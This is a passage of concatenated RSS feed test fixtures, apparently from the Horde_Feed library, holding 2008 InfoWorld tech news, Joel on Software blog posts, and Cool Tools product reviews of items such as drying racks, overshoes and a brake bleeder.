SAP has denied gaining access to Oracle&#39;s intellectual property in this way.</p><p page="1" class="ArticleBody">Last November, SAP announced the&#160;<a href="http://www.infoworld.com/article/07/11/19/TomorrowNow-CEO-resigns-SAP-might-sell_1.html">resignation of TomorrowNow&#39;s management team</a>, and said it was considering selling the company. Both moves were seen as ways for SAP to distance itself from the activities of its subsidiary and clean up its reputation.</p><p page="1" class="ArticleBody">In the end, arranging a sale proved too much of a challenge.</p><p page="1" class="ArticleBody">&quot;We carefully considered many options for selling TomorrowNow, but it would have been an extremely complex transaction for both the seller and the buyer. We chose to wind down operations instead,&quot; said SAP spokesman Saswato Das.</p><p page="1" class="ArticleBody">Oracle is asking for damages likely to total US$1 billion or more in its suit, according to documents filed with the court last month. A trial is scheduled for February 2010.</p><p page="1" class="ArticleBody">Das would not comment on what effect the closure of TomorrowNow might have on the case. SAP expects the cost of winding down operations at TomorrowNow to be &quot;immaterial,&quot; he said.</p><p page="1" class="ArticleBody">SAP aims to make the switch in support provider as smooth as possible for TomorrowNow&#39;s 225 customers, around 70 of whom are also direct customers of SAP, Das said.</p><p page="1" class="ArticleBody">&quot;We are working with each customer individually to help them choose their best option, including choosing Oracle support. Some can go to other third-party support,&quot; he said.</p><p page="1" class="ArticleBody">Despite abandoning the market, SAP still sees a role for third-party software support.</p><p page="1" class="ArticleBody">&quot;We believe the third-party maintenance market has its strongest appeal to customers using software that is considered end-of-life or obsolete, which does not apply to the bulk of SAP software,&quot; he added.</p></div> Mon, 21 Jul 2008 17:16:15 GMT http://www.infoworld.com/article/08/07/21/SAP_will_shut_TomorrowNow_subsidiary_1.html 2008-07-21T17:16:15Z iPhone 3G availability plummets http://www.infoworld.com/cgi-bin/redirect?source=rss&url=http://www.infoworld.com/article/08/07/21/iPhone_3G_availability_plummets_1.html <div class="rxbodyfield"><p page="1" class="ArticleBody">Apple&#39;s iPhone 3G supply dropped dramatically over the weekend, as the company&#39;s own inventory tool showed fewer than 9 percent of its stores had any phones to sell on Sunday.</p><p align="right"><a href="http://ad.doubleclick.net/jump/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" target="_blank" /><img src="http://ad.doubleclick.net/ad/idg.us.info.rss/news;pos=imu;tile=6;sz=336x280;skey=patch_management;pkey=security;ord=123456789?" width="336" height="280" border="0" alt="" align="right"/></a></p><p page="1" class="ArticleBody">As of 11 a.m. Eastern time, only 16 of Apple&#39;s U.S. retail stores, or 8.5 percent of the 188 total stores, listed iPhone 3Gs available. That figure is significantly down from Thursday, when 50 stores, or 27 percent, indicated that they had iPhones in stock.</p><p page="1" class="ArticleBody"><b>[ For the big picture on the <a href="http://www.infoworld.com/archives/t.jsp?N=s&amp;V=103333&amp;source=fssr">iPhone 3G</a>, see InfoWorld&#39;s special report, and for more on bringing the iPhone into the office, read &quot;<a href="http://www.infoworld.com/article/08/06/10/24FE-iphone-2-at-work_1.html">How to make the new iPhone work at work</a>.&quot; And get the latest on mobile developments with InfoWorld&#39;s <a href="http://www.infoworld.com/newsletter/subscribe.html?source=fssr">Mobile Report newsletter</a>. ]</b></p><p page="1" class="ArticleBody">And unlike last week, when as many as 13 stores said that they had all three iPhone 3G models for sale -- the 8GB version in black, and the 16GB version in both white and black -- by Sunday, no Apple store had all in inventory.</p><p page="1" class="ArticleBody">Even one of Apple&#39;s most prominent stores (and the only one open around the clock), located on 5th Avenue in New York City, didn&#39;t have a full complement of iPhones to sell.</p><p page="1" class="ArticleBody">In fact, according to <a target="_blank" href="http://www.apple.com/retail/iphone/availability.html">Apple&#39;s own stock-checking tool</a>, none of the 38 stores in California, Apple&#39;s home state, had iPhones.</p><p page="1" class="ArticleBody">The hardest-to-find iPhone 3G remained the $299 black 16GB model, which was available today in only 3 stores, or 1.6 percent, of the outlets. Supplies of the $199 8GB iPhone 3G and the $299 16GB white model have also plummeted since last week, according to Apple. Only 10 stores reported the 8GB as available on Sunday (5.3 percent of the U.S. stores) compared to 24 stores on Thursday (12.8 percent), while just 6 stores claimed that the 16GB white iPhone 3G was in stock (3.2 percent), down from the 46 stores (24.5 percent) that had it Thursday.</p><p page="1" class="ArticleBody">It could be weeks before the deficit improves, one Wall Street analyst said last week. Gene Munster, an analyst with Piper Jaffray &amp; Co., said in a Thursday interview that it would take Apple <a target="_blank" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;articleId=9110259">two to four weeks</a> to place orders with its suppliers, receive more iPhones, and restock the depleted inventory.</p><p page="1" class="ArticleBody">AT&amp;T&#39;s 1,200 retail stores, meanwhile, were almost completely out of iPhone inventory as early as last Tuesday.</p><p page="1" class="ArticleBody">However, some customers contributing to a <a target="_blank" href="http://forums.wireless.att.com/cng/board/message?board.id=apple&amp;thread.id=31997">massive thread on AT&amp;T&#39;s support forum</a> -- by Sunday, it had collected more than 3,900 messages -- said that they had been told iPhones they ordered on July 11 or 12 using the mobile operator&#39;s &quot;direct fulfillment&quot; program had been shipped as of Friday, July 18 or Saturday, July 19. A few consumers said they had actually received iPhones.</p><p page="1" class="ArticleBody">AT&amp;T&#39;s direct fulfillment program lets customers place orders at one the company&#39;s retail stores; the store notifies the customer when the iPhone 3G has arrived, at which time the customers must return to the store to pick up and activate the phone.</p><p page="1" class="ArticleBody"><a target="_blank" href="http://www.computerworld.com/index.jsp"><em>Computerworld</em></a><em>&#160;is an InfoWorld affiliate.</em></p></div> Mon, 21 Jul 2008 14:01:12 GMT http://www.infoworld.com/article/08/07/21/iPhone_3G_availability_plummets_1.html 2008-07-21T14:01:12Z Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.joelonsoftware.com-rss.xml0000664000175000017500000004556612653701626026777 0ustar janjan Joel on Software http://www.joelonsoftware.com Painless Software Management en-us Copyright 1999-2008 Joel Spolsky. Joel Spolsky webmaster@fogcreek.com Joel On Software http://www.joelonsoftware.com/RssJoelOnSoftware.jpg http://www.joelonsoftware.com 144 25 Painless Software Management Pecha Kucha http://www.joelonsoftware.com/items/2008/07/18.html Joel Spolsky http://www.joelonsoftware.com/items/2008/07/18.html 18 Jul 2008 14:59:00 EST

    We've already got a great lineup of speakers for the Business of Software conference:

    • Seth Godin
    • Eric Sink
    • Steve Johnson
    • Richard Stallman
    • Paul Kenny
    • Tom Jennings
    • Dharmesh Shah
    • Mike Milinkovich
    • Jessica Livingston
    • Jason Fried
    • and me!

    Neil Davidson was looking for a way to bring in a handful of extra interesting speakers for very brief presentations just to keep the conference more dynamic and hear from different corners of the world. I had recently read about Pecha Kucha. The speaker gets 6 minutes and 40 seconds: no more, no less. You submit exactly 20 slides. Each one is shown for exactly 20 seconds and then flips automatically. At the end, even if you're almost done and just have one more thing, the mic cuts off and you sit down.

    It sounded like a good idea. Speakers have to plan very carefully and rehearse repeatedly to make sure their speech is going to synchronize correctly with the slides, which makes for a more polished speech. They have to edit mercilessly to boil their subject matter down to 400 seconds, which makes it more interesting and dynamic. And if they suck, well, you don't have to wait very long for them to go away!

    45 people submitted applications to speak. There were a lot of terrific applications. Somehow, Neil and I narrowed it down to 8 very impressive finalists who will speak in Boston. I can't wait!

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Annual Fog Creek Open House http://www.joelonsoftware.com/items/2008/07/14.html Joel Spolsky http://www.joelonsoftware.com/items/2008/07/14.html 14 Jul 2008 11:12:52 EST

    Here at Fog Creek Software we get a lot of requests for a tour of the office, which we usually have to decline: we have this unusual obsession with giving programmers quiet working conditions.

    But once a year, we do have an open house. It's a rare chance to peek behind the curtains and meet the people behind FogBugz and Copilot.

    This year, we're only a month or so away from moving (to a much larger space downtown) but we didn't want to skip the annual tradition, so the open house will be held anyway at the old office:

    Thursday, July 17
    5:00 - 7:00 pm

    535 8th Ave. (cross street: 37th)
    18th Floor
    New York, NY 10018

    You'll get a chance to meet the Dingos (class of '08 interns), the SMTPs, our new sales department, the developers behind FogBugz, Copilot, and Wasabi, and the rest of the team. Some kind of food-like snack will be served. Tiny cheddar-cheese-flavored crackers in the shape of fish, maybe. Don't skip lunch.

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Don't hide or disable menu items http://www.joelonsoftware.com/items/2008/07/01.html Joel Spolsky http://www.joelonsoftware.com/items/2008/07/01.html 01 Jul 2008 11:42:48 EST

    A long time ago, it became fashionable, even recommended, to disable menu items when they could not be used.

    Don't do this. Users see the disabled menu item that they want to click on, and are left entirely without a clue of what they are supposed to do to get the menu item to work.

    Instead, leave the menu item enabled. If there's some reason you can't complete the action, the menu item can display a message telling the user why.

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Desks http://www.joelonsoftware.com/items/2008/06/06.html Joel Spolsky http://www.joelonsoftware.com/items/2008/06/06.html 06 Jun 2008 16:25:47 EST

    A reader wrote in to ask what kind of desks we're going to be using for the new office.

    The ergonomics experts always want you to have your feet flat on the floor. So you have to adjust your seat height first. Then, your arms are supposed to be horizontal while you're typing. This means you need an adjustable-height keyboard.

    Most of the adjustable height keyboard trays are extremely annoying... they're floppy, flimsy, and limit the keyboard to one location. Therefore we decided to get desks where the entire worksurface can be raised and lowered.

    Finally, a lot people praise the benefits of standing up for a part of the day, even if you spend the whole day at a computer, so we wanted desks where the worksurface could rise all the way to "counter height" so you could stand and work. And if you are going to be standing up and sitting down it's best to have a desk with a pushbutton, electric motor so you don't get lazy about doing it.

    Eventually we settled on the Details adjusTables Series 7. We didn't like the desk surface that those came with (with rounded corners and a chubby profile, it's just too blah) so we ordered a custom desk surface from Steelcase with something called a knife edge profile. That makes the desk look paper-thin:

     

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     StackOverflow podcasts moving to IT Conversations http://www.joelonsoftware.com/items/2008/06/05.html Joel Spolsky http://www.joelonsoftware.com/items/2008/06/05.html 05 Jun 2008 11:21:45 EST

    Yes! I'm still doing those weekly podcasts with Jeff. We've already done eight of them.

    We're moving, though, to IT Conversations, a huge network of terrific audio shows about technology. Just looking at all the great shows they have there makes me feel a bit like a kid in jeans and a T-shirt with a dirty slogan who just walked into Chez Panisse.

    The new feed, IT Conversations-based feed is at http://rss.conversationsnetwork.org/series/stackoverflow.xml.

    The easy way to subscribe is with ITunes, choose Advanced | Subscribe to Podcast, paste that URL in there, and you'll be all set.

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Adventures in Office Space http://www.joelonsoftware.com/items/2008/06/02.html Joel Spolsky http://www.joelonsoftware.com/items/2008/06/02.html 02 Jun 2008 11:33:29 EST

    “We lost some time because a deal to expand at our current location fell through -- it turned out that the extra floor we wanted wasn’t actually, to use the real estate jargon, ‘available.’”

    From Adventures in Office Space, my latest column in Inc. Magazine.

    P.S.! Neil reminds me that you've only got until the end of the week to register for the Business of Software conference at the low early rate ($1395 instead of $1795).

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Architecture astronauts take over http://www.joelonsoftware.com/items/2008/05/01.html Joel Spolsky http://www.joelonsoftware.com/items/2008/05/01.html 01 May 2008 00:01:57 EST

    It was seven years ago today when everybody was getting excited about Microsoft's bombastic announcement of Hailstorm, promising that "Hailstorm makes the technology in your life work together on your behalf and under your control."

    What was it, really? The idea that the future operating system was on the net, on Microsoft's cloud, and you would log onto everything with Windows Passport and all your stuff would be up there. It turns out: nobody needed this place for all their stuff. And nobody trusted Microsoft with all their stuff. And Hailstorm went away.

    I tried to coin a term for the kind of people who invented Hailstorm: architecture astronauts. "That's one sure tip-off to the fact that you're being assaulted by an Architecture Astronaut: the incredible amount of bombast; the heroic, utopian grandiloquence; the boastfulness; the complete lack of reality. And people buy it! The business press goes wild!"

    The hallmark of an architecture astronaut is that they don't solve an actual problem... they solve something that appears to be the template of a lot of problems. Or at least, they try. Since 1988 many prominent architecture astronauts have been convinced that the biggest problem to solve is synchronization.

    Follow the story, here. I started picking on one company that appeared to be particularly astronautish: Groove, which was trying to rebuild Lotus Notes (a giant synchronization machine) in a peer-to-peer fashion.

    Groove had some early success selling secure networks to the military-industrial complex, but didn't make much of a ripple outside that niche. Their real success was in getting bought by Microsoft, which brought Groove's designer and chief architecture-astronaut Ray Ozzie to the role of "Chief Software Architect" at Microsoft, supposedly the technical guy that would keep inventing the future after BillG left so that Steve Ballmer would have some new territory on which to build his next illegal monopoly.

    And now Ray Ozzie's big achievement arrives and what is it? (drumroll...) Microsoft Live Mesh. The future of everything. Microsoft is "moving into the cloud."

    What's Microsoft Live Mesh?

    Hmm, let's see.

    "Imagine all your devices—PCs, and soon Macs and mobile phones—working together to give you anywhere access to the information you care about."

    Wait a minute. Something smells fishy here. Isn't that exactly what Hailstorm was supposed to be? I smell an architecture astronaut.

    And what is this Windows Live Mesh?

    It's a way to synchronize files.

    Jeez, we've had that forever. When did the first sync web sites start coming out? 1999? There were a million versions. xdrive, mydrive, idrive, youdrive, wealldrive for ice cream. Nobody cared then and nobody cares now, because synchronizing files is just not a killer application. I'm sorry. It seems like it should be. But it's not.

    But Windows Live Mesh is not just a way to synchronize files. That's just the sample app. It's a whole goddamned architecture, with an API and developer tools and in insane diagram showing all the nifty layers of acronyms, and it seems like the chief astronauts at Microsoft literally expect this to be their gigantic platform in the sky which will take over when Windows becomes irrelevant on the desktop. And synchronizing files is supposed to be, like, the equivalent of Microsoft Write on Windows 1.0.

    It's Groove, rewritten from scratch, one more time. Ray Ozzie just can't stop rewriting this damn app, again and again and again, and taking 5-7 years each time.

    And the fact that customers never asked for this feature and none of the earlier versions really took off as huge platforms doesn't stop him.

    How on earth does Microsoft continue to pour massive resources into building the same frigging synchronization platforms again and again? Damn, they just finished building something called Windows Live FolderShare and I haven't exactly noticed a stampede to that. I'll bet you've never even heard of it. The 3,398th web site that lets you upload and download files to a place on the Internet. I'm so excited I might just die.

    I shouldn't really care. What Microsoft's shareholders want to waste their money building, instead of earning nice dividends from two or three fabulous monopolies, is no business of mine. I'm not a shareholder. It sort of bothers me, intellectually, that there are these people running around acting like they're building the next great thing who keep serving us the same exact TV dinner that I didn't want on Sunday night, and I didn't want it when you tried to serve it again Monday night, and you crunched it up and mixed in some cheese and I didn't eat that Tuesday night, and here it is Wednesday and you've rebuilt the whole goddamn TV dinner industry from the ground up and you're giving me 1955 salisbury steak that I just DON'T WANT. What is it going to take for you to get the message that customers don't want the things that architecture astronauts just love to build. The people? They love twitter. And flickr and delicious and picasa and tripit and ebay and a million other fun things, which they do want, and this so called synchronization problem is just not an actual problem, it's a fun programming exercise that you're doing because it's just hard enough to be interesting but not so hard that you can't figure it out.

    Why I really care is that Microsoft is vacuuming up way too many programmers. Between Microsoft, with their shady recruiters making unethical exploding offers to unsuspecting college students, and Google (you're on my radar) paying untenable salaries to kids with more ultimate frisbee experience than Python, whose main job will be to play foosball in the googleplex and walk around trying to get someone...anyone...to come see the demo code they've just written with their "20% time," doing some kind of, let me guess, cloud-based synchronization... between Microsoft and Google the starting salary for a smart CS grad is inching dangerously close to six figures and these smart kids, the cream of our universities, are working on hopeless and useless architecture astronomy because these companies are like cancers, driven to grow at all cost, even though they can't think of a single useful thing to build for us, but they need another 3000-4000 comp sci grads next week. And dammit foosball doesn't play itself.

    Not loving your job? Visit the Joel on Software Job Board: Great software jobs, great people.

    ]]>     Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.kk.org-cooltools-index.xml0000664000175000017500000022147112653701626026656 0ustar janjan Cool Tools http://www.kk.org/cooltools/ Cool tools really work. A cool tool can be any book, gadget, software, video, map, hardware, material, or website that is tried and true. All reviews on this site are written by readers who have actually used the tool and others like it. Items can be either old or new as long as they are wonderful. We only post things we like and ignore the rest. Suggestions for tools much better than what is recommended here are always wanted. Tell me what you love. Copyright 2008 Tue, 22 Jul 2008 05:00:00 -0800 http://www.movabletype.org/?v=4.1 http://blogs.law.harvard.edu/tech/rss 451102http://www.feedburner.com IKEA Frost Drying Rack <img src="http://www.kk.org/cooltools/frost-drying-rack-sm.jpg" /> <p>Drying clothing on a rack is cheaper and better for the environment than using a dryer, but the design of a lot of drying racks is far from ideal. IKEA's Frost rack is a long series of bars that are horizontally parallel to one another, which maximizes the use for each bar. The closely-spaced bars allow me either to pack in small laundry or put sweaters and thicker laundry across two or more bars to let more air pass around it. On the other hand, many racks are situated with each bar immediately above or below another bar, so if you hang pants from the top bar, they hang down making all of the bars below them useless (i.e. wet). A few companies make potentially-good racks you hang from the ceiling, but they're usually permanent, more expensive and not so nice to look at. The cheap Frost rack can easily fit an entire load of laundry, whether it's socks or jeans, and it folds into a large, flat rectangle when not in use. A few racks can easily fit into the back of the closet.</p> <p>I bought my first Frost rack when I lived in an apartment. But even when my wife and I moved into a house two years ago, we decided to get by without a dryer for a while, mainly to save money. To our surprise, it wasn't difficult. It's no problem at all in the summer, when we can supplement our drying with an outside clothesline on sunny days. During the winter, our two racks are in constant use (hint: put the rack beside or above heating vents or radiators to speed drying). We might eventually buy a dryer, but only to make it easier to catch up when we fall behind. I've been using one rack for about four years and bought the second about two years ago. I cannot tell which is the old one. They've held up quite well. Granted the rack is not perfect: it could be both wider and higher -- tall people will have to stoop a little bit to use it. Still, it's far better than any of the alternatives I've found.</p> <p>One unexpected benefit: our clothing seems to last a lot longer. We'd never realized how rough the dryer can be on clothing. I have shirts that are a few years old I wear regularly and they still look new. I suppose all of the lint in the dryer trap has to come from somewhere.</p> <p>-- Willie Beegle</p> <p>$20<br /> Available from <a href="http://www.ikea.com/us/en/catalog/products/50095091">IKEA</a></p> <p><br /> <em><strong>Related items previously reviewed on Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="travel-clothesline-sm2.jpg" src="http://www.kk.org/cooltools/travel-clothesline-sm2.jpg" width="71" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000898.php">Travel Clothesline</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="sockpro-sm2.jpg" src="http://www.kk.org/cooltools/sockpro-sm2.jpg" width="73" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001672.php">Sock Pro</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="dropps-sm2.jpg" src="http://www.kk.org/cooltools/dropps-sm2.jpg" width="49" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.dropps.com/store/dropps.html">Dropps</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=csN0HJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=csN0HJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=zhM80J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=zhM80J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=i3sG1J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=i3sG1J" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/342498133" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/342498133/002946.php http://www.kk.org/cooltools/archives/002946.php Clothing Tue, 22 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002946.php NEOS Overshoes <img src="http://www.kk.org/cooltools/neos-explorer-sm.jpg" /> <p>NEOS (New England Overshoes) are basically big insulated, gusseted bags with soles. They fit over my hiking boots, sneakers or, if it's just a quick errand outdoors, my socks. The gusset folds over the top of the foot and ankle with a hook and loop (Velcro) closure. A strap across the instep makes for a snug, secure fit. I discovered NEOS a couple of years ago working as a film extra in rural Pennsylvania. We were outside in cold, wet snowy weather all late fall and early winter. Several members of the crew wore them and the wardrobe folks used them to keep the principle actor's shoes out of the mud and slush. Insulated and uninsulated models are rated for temperatures as low as -20F and 0F respectively. I chose the insulated Explorer version, because I often work and play outside during the winter. As a <a href="http://scoutmaster.typepad.com">Scoutmaster</a>, I have worn mine on snowy weekend camping trips when temperatures are down in the teens and kept my feet warm and dry. Last winter ('07-'08) was pretty mild, so I didn't wear them as much, but after two years the NEOS are as good as new. The choices have expanded quite a bit since I bought mine. NEOS also makes light, ankle-high models for commuters with a lining that actually shines dress shoes and heavier expedition weight models suited for intense outdoor activities.</p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="neos-sole-sm.jpg" src="http://www.kk.org/cooltools/neos-sole-sm.jpg" width="210" height="92" class="mt-image-none" style="" /></span></p> <p>NEOS Overshoes<br /> $90<br /> (model: Explorer)<br /> Manufactured by <a href="http://www.overshoe.com/">NEOS</a></p> <p>Available from <a href="http://www.amazon.com/dp/B000XTABSY/ref=nosim/kkorg-20">Amazon</a></p> Related Entries: <br /><a href="http://www.kk.org/cooltools/archives/001173.php">Muck Boots Jobber Work Boot</a> <a href="http://www.kk.org/cooltools/archives/001149.php">Yaktrax Walker</a> <a href="http://www.kk.org/cooltools/archives/001607.php">Toasty Feet Insoles</a><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=V4Pm8J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=V4Pm8J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=1kYoUJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=1kYoUJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=LZEFEJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=LZEFEJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/341696724" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/341696724/002945.php http://www.kk.org/cooltools/archives/002945.php Clothing Mon, 21 Jul 2008 09:15:22 -0800 http://www.kk.org/cooltools/archives/002945.php Kayaks You Can Build <img src="http://www.kk.org/cooltools/kayaks-you-can-build-sm.jpg" /> <p>I have built several simple fiberglass canoes and repaired my sailboats, but using this book I was able to build my first "real," high-performance boat, a <a href="http://www.pygmyboats.com/coho.htm">Pygmy Coho</a> stitch and glue plywood construction sea kayak. I read a lot of books on kayak construction, stitch and glue type in particular. I also used the Coho building manual from Pygmy some. But I absolutely would not have been as successful with my boat had I not read this book before building and referenced it during building. The detail, sharing of practical experience, the tons of photos, clarity in explanation and the examples of the exact same boat -- the Coho -- made this the only choice. The book lays out everything in terms of what you can expect to accomplish on Day 1, Day 2 and so forth. Even if you don't follow it step by step, the book provides the fundamentals to make good alternative building decisions.</p> <p>I was able to do all of the following alternatives: Rigged up my own plumbing for a built in bilge pump. Added 4-oz glass to the deck for strength. Added the bulkheads to also gain rear deck strength. Doubled the coaming lip for strength and aesthetics. Added in hardwood keys at the coaming spacer joints for strength. Fiberglassed the entire coaming (probably really not necessary). Made my own jigs with hot glue and pop sickle sticks as prealignment tools for bulkheads, seat braces, deck joint, etc.</p> <p>Above all else, the book explains how to build a very flat, level, elevated worktable with internal/external stations to hold the boat in position. That aspect alone is reason enough to go with this book. I am currently building a skin-on-frame, Greenland style kayak for my wife, but I would re-read this book before building any other stitch and glue boat. I also recommend the Greenland kayak website, <a href="http://www.qajaqusa.org/">Qajaq USA</a> and Guillemont Kayak's boat-building <a href="http://www.kayakforum.com/KayakBuilding/index.shtml">forum</a>, where there is a wealth of information for the construction and use of stitch and glue, strip building and traditional skin-on-frame (SOF) kayaks.</p> <p>Kayaks You Can Build: An Illustrated Guide to Plywood Construction<br /> Ted Moores & Greg Rossel<br /> 2004, 256 pages<br /> $23</p> <p>Pygmy Coho Kits<br /> $550+<br /> (13' +)<br /> Available from <a href="http://www.pygmyboats.com/coho.htm">Pygmy Boats</a></p> <p>Available from <a href="http://www.amazon.com/dp/1552978613/ref=nosim/kkorg-20">Amazon</a></p> Related Entries: <br /><a href="http://www.kk.org/cooltools/archives/000250.php">Epic Kayak Paddles</a> <a href="http://www.kk.org/cooltools/archives/000436.php">Handmade Houseboats</a> <a href="http://www.kk.org/cooltools/archives/000173.php">Community Boatbuilding Manual</a><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=2VcvlJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=2VcvlJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=BE6tZJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=BE6tZJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=gbwOUJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=gbwOUJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/338953106" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/338953106/002940.php http://www.kk.org/cooltools/archives/002940.php Autonomous Motion Fri, 18 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002940.php SpeediBleed <img src="http://www.kk.org/cooltools/speedibleed-sm.jpg" /> <p>This light, portable pressure brake bleeder is the best one I have ever used in the 25+ years I have been working on cars. I have used other professional-style pressure bleeders costing $800-1000 and prefer the SpeediBleed. Using SpeediBleed by myself, it's taken me only 15 minutes to do a 4-wheel brake bleed and, when finished, I had a firm brake pedal and clean brake fluid from top to bottom. The cool aspect of this kit is that you pressurize the master cylinder by connecting the SpeediBleed fluid bottle to a tire with a aluminum machined adapter. Yes, you read correctly; you use a tire to bleed brakes! When I told a few friends of this feature, they jokingly claimed I would have 4 flat tires to show for my work. They could not have been more wrong. The 4-wheel brake bleed of my Cavalier resulted in only 3 psi being removed from the single tire I used.</p> <p>There are cheaper DIY kits. The Motive looks to be a decent, popular product. Personally, aside from the quality and ease with which you can control the working pressure, I like that the SpeediBleed has a much larger and constant air pressure source. My truck tires are probably 15-20 times larger volume than the Motive's pressure bottle. Thus, I can set the regulator to 20-25 psi and have enough pressure to flush the system, versus having to pump a bottle a few times. And for the extra money, you get a high quality pressure regulator, quick release coupler, the aluminum adapter, and tool case. My buddy knew the old service manager at the local Porsche dealership near me. They have four to five SpeediBleed kits in their shop and are flushing Porsche and Land Rovers every day. I have used mine hundreds of times in the last 12 years. Really makes it possible for any DIY'er to bleed brakes without the headache. </p> <p>-- Ron Armstrong</p> <p>SpeediBleed<br /> $120<br /> Available from <a href="http://www.speedibleed.com/products/specialitykits2.php">Hi-Lo Distributors</a></p> <p><br /> <em><strong>Related items previously reviewed in Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="used_parts-sm2.jpg" src="http://www.kk.org/cooltools/used_parts-sm2.jpg" width="74" height="42" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000907.php">Get Used Parts</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="topside_oil-sm2.jpg" src="http://www.kk.org/cooltools/topside_oil-sm2.jpg" width="74" height="56" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001299.php">Topside Oil Changer</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="filtration-solutions-sm2.jpg" src="http://www.kk.org/cooltools/filtration-solutions-sm2.jpg" width="50" height="74" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/001133.php">Filtration Solutions FS2500</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/CoolTools?a=rI568J"><img src="http://feeds.feedburner.com/~f/CoolTools?i=rI568J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=IWhomJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=IWhomJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/CoolTools?a=R6A5HJ"><img src="http://feeds.feedburner.com/~f/CoolTools?i=R6A5HJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/CoolTools/~4/338002585" height="1" width="1"/> http://feeds.feedburner.com/~r/CoolTools/~3/338002585/002938.php http://www.kk.org/cooltools/archives/002938.php Vehicles Thu, 17 Jul 2008 05:00:00 -0800 http://www.kk.org/cooltools/archives/002938.php Bod-i-Bag <img src="http://www.kk.org/cooltools/bodibag.jpg" /> <p>This fleece sleeping bag liner looks like a really long hooded sweatshirt, except it has a drawstring base. You can tuck your feet in and close it up, but then wear it to get out of your bag at night to go pee or whatever. I got mine to combine with my <a href="http://www.kk.org/cooltools/archives/002901.php">Bivanorak</a> bivvy bag to make a lightweight sleeping system, but it also does double duty as a garment that's very nice for sitting around and just keeping warm around camp. I've used it up in the mountains at about 8,500 feet with the temp down to about 38 F. It's light and packs up very small (mine is 9x15 and maybe 2 lbs), and is available with a stuff sack.</p> <p>Most importantly, they will custom make one for you if, say, you are very tall (I'm 6'10" and 260 lbs). You can also choose from a few fabric thicknesses and add a pocket pouch. I opted for the thickest weight fabric with the pocket pouch, which has a zippered mesh compartment. Great service, too. The maker got my special order to me in 4 days.</p> <p>-- Randall Robinson</p> <p>Bod-i-Bag<br /> $64<br /> (lightest fleece w/long sleeve version)<br /> Available from <a href="http://www.bodibag.com/options.php">Alpinlite</a></p> <p><br /> <em><strong>Related items previously reviewed in Cool Tools:</strong></em></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="wool_briefs-sm2.jpg" src="http://www.kk.org/cooltools/wool_briefs-sm2.jpg" width="75" height="75" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000705.php">Wool Underwear</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="cocoon-sm2.jpg" src="http://www.kk.org/cooltools/cocoon-sm2.jpg" width="75" height="59" class="mt-image-none" style="" /></span><br /> <a href="http://www.kk.org/cooltools/archives/000525.php">Cocoon Silk Bag/Travel Sheet</a></p> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="mosquitobar-sm2.jpg" 